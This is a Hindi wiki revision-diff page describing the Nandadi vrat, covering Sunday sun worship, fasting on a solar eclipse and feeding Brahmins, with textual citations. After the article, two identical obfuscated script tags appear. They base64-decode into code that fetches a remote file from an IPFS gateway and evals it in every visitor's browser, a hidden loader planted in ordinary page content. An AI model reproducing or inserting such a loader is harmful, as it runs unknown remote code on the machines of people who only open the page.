नन्दादिव्रत विधि: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
आदित्य चौधरी (talk | contribs) m (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (talk | contribs) m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
Line 4: | Line 4: | ||
*उस दिन के स्नान, दान एवं जप से अनन्त फल मिलते हैं।<ref>हेमाद्रि (व्रतखण्ड 2, 527-28); कृत्यकल्पतरु (व्रतखण्ड21-23)।</ref> | *उस दिन के स्नान, दान एवं जप से अनन्त फल मिलते हैं।<ref>हेमाद्रि (व्रतखण्ड 2, 527-28); कृत्यकल्पतरु (व्रतखण्ड21-23)।</ref> | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
Latest revision as of 09:20, 21 March 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- सदा रविवार को ही सूर्य पूजा होती है।
- सूर्य ग्रहण के दिन उपवास करना चाहिए तथा महाश्वेता मन्त्र का जाप करना चाहिए और ब्राह्मणों को भोजन देना चाहिए।
- उस दिन के स्नान, दान एवं जप से अनन्त फल मिलते हैं।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 527-28); कृत्यकल्पतरु (व्रतखण्ड21-23)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>